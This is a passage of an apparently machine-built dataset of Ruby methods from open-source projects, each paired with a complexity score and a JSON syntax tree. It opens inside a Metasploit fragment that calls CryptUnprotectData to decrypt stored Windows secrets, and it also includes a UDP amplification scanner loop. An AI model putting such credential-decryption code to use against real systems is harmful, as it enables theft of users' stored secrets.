children\":[\"ent\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"salt\"]},\"pack\",{\"type\":\"str\",\"children\":[\"s*\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"mem\",{\"type\":\"send\",\"children\":[null,\"mem_write\",{\"type\":\"lvar\",\"children\":[\"ent\"]},{\"type\":\"int\",\"children\":[1024]}]}]},{\"type\":\"lvasgn\",\"children\":[\"addr\",{\"type\":\"send\",\"children\":[null,\"pack_add\",{\"type\":\"lvar\",\"children\":[\"daddr\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"len\",{\"type\":\"send\",\"children\":[null,\"pack_add\",{\"type\":\"lvar\",\"children\":[\"dlen\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"eaddr\",{\"type\":\"send\",\"children\":[null,\"pack_add\",{\"type\":\"lvar\",\"children\":[\"mem\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"elen\",{\"type\":\"send\",\"children\":[null,\"pack_add\",{\"type\":\"lvar\",\"children\":[\"ent_sz\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_86\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ret\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c32\"]},\"CryptUnprotectData\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"len\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"addr\"]}]}]},{\"type\":\"int\",\"children\":[16]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"elen\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"eaddr\"]}]}]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[8]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"len\"]},{\"type\":\"lvasgn\",\"children\":[\"add\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ret\"]},\"[]\",{\"type\":\"str\",\"children\":[\"pDataOut\"]}]},\"unpack\",{\"type\":\"str\",\"children\":[\"V2\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ret\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c32\"]},\"CryptUnprotectData\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"len\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"addr\"]}]}]},{\"type\":\"int\",\"children\":[16]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"elen\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"eaddr\"]}]}]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[16]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"len\"]},{\"type\":\"lvasgn\",\"children\":[\"add\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ret\"]},\"[]\",{\"type\":\"str\",\"children\":[\"pDataOut\"]}]},\"unpack\",{\"type\":\"str\",\"children\":[\"Q<2\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ret\"]},\"[]\",{\"type\":\"str\",\"children\":[\"return\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"read_str\",{\"type\":\"lvar\",\"children\":[\"add\"]},{\"type\":\"lvar\",\"children\":[\"len\"]},{\"type\":\"int\",\"children\":[0]}]}]}]}]}","id":"73e4a2b2-14e8-4fc8-b6e8-5914a2b8a1ea"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/models/campaign.rb","start_line":81,"raw_source":"def validate_campaign_inbox\n    return unless inbox\n\n    errors.add :inbox, 'Unsupported Inbox type' unless ['Website', 'Twilio SMS', 'Sms', 'Whatsapp'].include? inbox.inbox_type\n  end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_campaign_inbox\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"inbox\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Website\"]},{\"type\":\"str\",\"children\":[\"Twilio SMS\"]},{\"type\":\"str\",\"children\":[\"Sms\"]},{\"type\":\"str\",\"children\":[\"Whatsapp\"]}]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"inbox\"]},\"inbox_type\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"inbox\"]},{\"type\":\"str\",\"children\":[\"Unsupported Inbox type\"]}]}]}]}]}","id":"e02af28e-632a-49cf-bbb1-90987392aaf2"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/pages/work_packages/primerized_split_work_package.rb","start_line":35,"raw_source":"def in_split_view(&)\n      page.within(\"#work-package-details-#{work_package.id}\", &)\n    end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"in_split_view\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"within\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"#work-package-details-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"work_package\"]},\"id\"]}]}]},{\"type\":\"block_pass\",\"children\":[null]}]}]}","id":"4aaad0c5-47e1-4c73-a648-8f611df219b2"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/current_user.rb","start_line":42,"raw_source":"def current_user\n    current_user_provider.current_user\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"current_user\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user_provider\"]},\"current_user\"]}]}","id":"604b8661-c804-4963-bc25-9e68113ca808"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/oui.rb","start_line":19,"raw_source":"def self.lookup_oui_company_name(mac)\n    check_mac(mac)\n    mac = mac.upcase.gsub(':','')[0,6]\n    oui = OUI_LIST[mac]\n    if oui\n      fullname = oui[0]\n      fullname = oui[1] if oui[1] != \"\"\n      return fullname\n    else\n      return 'UNKNOWN'\n    end\n  end","complexity_score":18.48,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"lookup_oui_company_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mac\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"check_mac\",{\"type\":\"lvar\",\"children\":[\"mac\"]}]},{\"type\":\"lvasgn\",\"children\":[\"mac\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mac\"]},\"upcase\"]},\"gsub\",{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"str\",\"children\":[\"\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[6]}]}]},{\"type\":\"lvasgn\",\"children\":[\"oui\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OUI_LIST\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"mac\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"oui\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fullname\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"oui\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"oui\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"!=\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"lvasgn\",\"children\":[\"fullname\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"oui\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fullname\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"UNKNOWN\"]}]}]}]}]}","id":"3630a789-0f13-4705-a241-0b97adf0d136"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/vendor/holidays/test/holidays/finder/context/test_next_holiday.rb","start_line":63,"raw_source":"def test_returns_single_holiday\n    assert_equal(\n      [\n        {\n          :date => Date.civil(2015, 1, 1),\n          :name => \"Test\",\n          :regions => [:us],\n        }\n      ],\n      @subject.call(@holiday_count, @from_date, @options)\n    )\n  end","complexity_score":4.45,"ast_json":"{\"type\":\"def\",\"children\":[\"test_returns_single_holiday\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"date\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"civil\",{\"type\":\"int\",\"children\":[2015]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Test\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"us\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@subject\"]},\"call\",{\"type\":\"ivar\",\"children\":[\"@holiday_count\"]},{\"type\":\"ivar\",\"children\":[\"@from_date\"]},{\"type\":\"ivar\",\"children\":[\"@options\"]}]}]}]}","id":"56660159-5daf-4e02-8b5b-6fedb626079e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/database/partitioning_migration_helpers/uniqueness_helpers_spec.rb","start_line":107,"raw_source":"def default_function\n      connection.columns(table_name)\n        .find { |col| col.name == \"id\" }\n        .default_function\n    end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"default_function\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"columns\",{\"type\":\"send\",\"children\":[null,\"table_name\"]}]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"col\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"col\"]},\"name\"]},\"==\",{\"type\":\"str\",\"children\":[\"id\"]}]}]},\"default_function\"]}]}","id":"02fe45da-444a-4bfa-aa6b-c725295ba042"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/slug.rb","start_line":32,"raw_source":"def self.prettify_slug(slug, max_length:)\n    # Reject slugs that only contain numbers, because they would be indistinguishable from id's.\n    slug = (slug_is_only_numbers?(slug) ? \"\" : slug)\n\n    slug\n      .tr(\"_\", \"-\")\n      .truncate(max_length, omission: \"\")\n      .squeeze(\"-\") # squeeze continuous dashes to prettify slug\n      .gsub(/\\A-+|-+\\z/, \"\") # remove possible trailing and preceding dashes\n  end","complexity_score":8.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"prettify_slug\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"slug\"]},{\"type\":\"kwarg\",\"children\":[\"max_length\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"slug\",{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"slug_is_only_numbers?\",{\"type\":\"lvar\",\"children\":[\"slug\"]}]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"lvar\",\"children\":[\"slug\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"slug\"]},\"tr\",{\"type\":\"str\",\"children\":[\"_\"]},{\"type\":\"str\",\"children\":[\"-\"]}]},\"truncate\",{\"type\":\"lvar\",\"children\":[\"max_length\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"omission\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]},\"squeeze\",{\"type\":\"str\",\"children\":[\"-\"]}]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\A-+|-+\\\\z\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}","id":"789b4702-057a-46ff-a657-7bdff9e7bb25"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/inverse_associations_test.rb","start_line":496,"raw_source":"def test_parent_instance_should_be_shared_with_newly_created_via_bang_method_child\n    human = Human.first\n    interest = human.interests.create!(topic: \"Industrial Revolution Re-enactment\")\n    assert_not_nil interest.human\n    assert_equal human.name, interest.human.name, \"Name of human should be the same before changes to parent instance\"\n    human.name = \"Bongo\"\n    assert_equal human.name, interest.human.name, \"Name of human should be the same after changes to parent instance\"\n    interest.human.name = \"Mungo\"\n    assert_equal human.name, interest.human.name, \"Name of human should be the same after changes to newly-created-child-owned instance\"\n  end","complexity_score":24.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_parent_instance_should_be_shared_with_newly_created_via_bang_method_child\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"human\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Human\"]},\"first\"]}]},{\"type\":\"lvasgn\",\"children\":[\"interest\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"human\"]},\"interests\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic\"]},{\"type\":\"str\",\"children\":[\"Industrial Revolution Re-enactment\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"interest\"]},\"human\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"human\"]},\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"interest\"]},\"human\"]},\"name\"]},{\"type\":\"str\",\"children\":[\"Name of human should be the same before changes to parent instance\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"human\"]},\"name=\",{\"type\":\"str\",\"children\":[\"Bongo\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"human\"]},\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"interest\"]},\"human\"]},\"name\"]},{\"type\":\"str\",\"children\":[\"Name of human should be the same after changes to parent instance\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"interest\"]},\"human\"]},\"name=\",{\"type\":\"str\",\"children\":[\"Mungo\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"human\"]},\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"interest\"]},\"human\"]},\"name\"]},{\"type\":\"str\",\"children\":[\"Name of human should be the same after changes to newly-created-child-owned instance\"]}]}]}]}","id":"2dc4f0f2-d1b8-4040-ad04-a07bff644f50"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/projects_finder.rb","start_line":184,"raw_source":"def by_full_paths(items)\n    params[:full_paths].present? ? items.where_full_path_in(params[:full_paths], preload_routes: false) : items\n  end","complexity_score":8.5,"ast_json":"{\"type\":\"def\",\"children\":[\"by_full_paths\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"items\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"full_paths\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"items\"]},\"where_full_path_in\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"full_paths\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"preload_routes\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"lvar\",\"children\":[\"items\"]}]}]}","id":"ed6d9dab-e7fe-4e7d-bc07-7761412635af"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/redmine/menu_manager/top_menu/projects_menu.rb","start_line":39,"raw_source":"def render_projects_dropdown\n    content_tag(:div, class: \"main-menu-item\") do\n      angular_component_tag(\"opce-header-project-select\")\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"render_projects_dropdown\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"content_tag\",{\"type\":\"sym\",\"children\":[\"div\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"str\",\"children\":[\"main-menu-item\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"angular_component_tag\",{\"type\":\"str\",\"children\":[\"opce-header-project-select\"]}]}]}]}","id":"3bcb72a2-527e-466f-976a-63ae7ddcd6e1"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/udp/udp_amplification.rb","start_line":49,"raw_source":"def scan_host(ip)\n    @ports.each do |port|\n      scanner_send(@probe, ip, port)\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"scan_host\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ip\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ports\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"port\"]}]},{\"type\":\"send\",\"children\":[null,\"scanner_send\",{\"type\":\"ivar\",\"children\":[\"@probe\"]},{\"type\":\"lvar\",\"children\":[\"ip\"]},{\"type\":\"lvar\",\"children\":[\"port\"]}]}]}]}","id":"81b5a494-f988-4753-b48b-cacca908a2c7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/resolvers/base_resolver.rb","start_line":119,"raw_source":"def self.resolver_complexity(args, child_complexity:)\n      complexity = 1\n      complexity += 1 if args[:sort]\n      complexity += 5 if args[:search]\n\n      complexity\n    end","complexity_score":10.3,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"resolver_complexity\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args\"]},{\"type\":\"kwarg\",\"children\":[\"child_complexity\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"complexity\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sort\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"complexity\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"search\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"complexity\"]},\"+\",{\"type\":\"int\",\"children\":[5]}]},null]},{\"type\":\"lvar\",\"children\":[\"complexity\"]}]}]}","id":"046a9fd2-ff6a-4fc2-b9b8-05465231145e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/protocol_access.rb","start_line":6,"raw_source":"def allowed?(protocol, project: nil)\n        # Web is always allowed\n        return true if protocol == \"web\"\n\n        # System settings\n        return false unless instance_allowed?(protocol)\n\n        # Group-level settings\n        return false unless namespace_allowed?(protocol, namespace: project&.root_namespace)\n\n        # Default to allowing all protocols\n        true\n      end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"allowed?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"protocol\"]},{\"type\":\"kwoptarg\",\"children\":[\"project\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"protocol\"]},\"==\",{\"type\":\"str\",\"children\":[\"web\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"instance_allowed?\",{\"type\":\"lvar\",\"children\":[\"protocol\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"namespace_allowed?\",{\"type\":\"lvar\",\"children\":[\"protocol\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"root_namespace\"]}]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"true\",\"children\":[]}]}]}","id":"cd908778-46f2-4853-b1ea-31dfeaf7c8f0"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_tag_helper_test.rb","start_line":714,"raw_source":"def test_label_tag_id_sanitized\n    label_elem = root_elem(label_tag(\"item[title]\"))\n    assert_match VALID_HTML_ID, label_elem[\"for\"]\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_label_tag_id_sanitized\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"label_elem\",{\"type\":\"send\",\"children\":[null,\"root_elem\",{\"type\":\"send\",\"children\":[null,\"label_tag\",{\"type\":\"str\",\"children\":[\"item[title]\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"const\",\"children\":[null,\"VALID_HTML_ID\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"label_elem\"]},\"[]\",{\"type\":\"str\",\"children\":[\"for\"]}]}]}]}]}","id":"576b1e8e-0ffd-4946-b7f7-b1f2d54bdb9d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/plugins/alias.rb","start_line":171,"raw_source":"def register_alias(name, value)\n        # TODO:  begin rescue?\n        # TODO:  security concerns since we are using eval\n\n        # define some class instance methods\n        class_eval do\n          # define a class instance method that will respond for the alias\n          define_method \"cmd_#{name}\" do |*args|\n            # just replace the alias w/the alias' value and run that\n            driver.run_single(\"#{value} #{args.join(' ')}\")\n          end\n          # define a class instance method that will tab complete the aliased command\n          # we just proxy to the top-level tab complete function and let them handle it\n          define_method \"cmd_#{name}_tabs\" do |str, words|\n            # we need to repair the tab complete string/words and pass back\n            # replace alias name with the root alias value\n            value_words = value.split(/[\\s\\t\\n]+/) # in case value is e.g. 'sessions -l'\n            # valwords is now [sessions,-l]\n            words[0] = value_words[0]\n            # words[0] is now 'sessions' (was 'sue')\n            value_words.shift # valwords is now ['-l']\n            # insert any remaining parts of value and rebuild the line\n            line = words.join(' ') + ' ' + value_words.join(' ') + ' ' + str\n\n            [driver.tab_complete(line.strip), :override_completions]\n          end\n          # add a cmd_#{name}_help method\n          define_method \"cmd_#{name}_help\" do |*_args|\n            driver.run_single(\"help #{value}\")\n          end\n        end\n        # add the alias to the list\n        @aliases[name] = value\n      end","complexity_score":59.7,"ast_json":"{\"type\":\"def\",\"children\":[\"register_alias\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"class_eval\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"define_method\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"cmd_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"driver\"]},\"run_single\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"join\",{\"type\":\"str\",\"children\":[\" \"]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"define_method\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"cmd_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\"_tabs\"]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"str\"]},{\"type\":\"arg\",\"children\":[\"words\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"value_words\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"split\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"[\\\\s\\\\t\\\\n]+\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"words\"]},\"[]=\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value_words\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value_words\"]},\"shift\"]},{\"type\":\"lvasgn\",\"children\":[\"line\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"words\"]},\"join\",{\"type\":\"str\",\"children\":[\" \"]}]},\"+\",{\"type\":\"str\",\"children\":[\" \"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value_words\"]},\"join\",{\"type\":\"str\",\"children\":[\" \"]}]}]},\"+\",{\"type\":\"str\",\"children\":[\" 